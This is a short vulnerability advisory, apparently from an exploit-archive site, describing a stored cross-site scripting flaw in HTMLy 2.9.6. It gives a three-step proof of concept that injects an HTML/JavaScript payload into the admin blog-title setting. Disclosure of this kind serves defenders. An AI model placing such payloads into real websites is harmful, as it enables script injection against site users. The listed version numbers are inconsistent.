HTMLy 2.9.6 Cross Site Scripting

2024.04.08

Credit: tmrswrr

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

# Exploit Title: HTMLy Version : 2.9.6  - Stored XSS
# Exploit Author: tmrswrr 
# Vendor Homepage: https://www.htmly.com/
# Version 3.10.8.21 
# Date : 04/08/2024

1 ) Login admin https://127.0.0.1/HTMLy/admin/config
2 ) General Setting > Blog title >  "><img src=x onerrora=confirm() onerror=confirm(1)> 
3 ) After save it you will be see xss alert

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

HTMLy 2.9.6 Cross Site Scripting

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.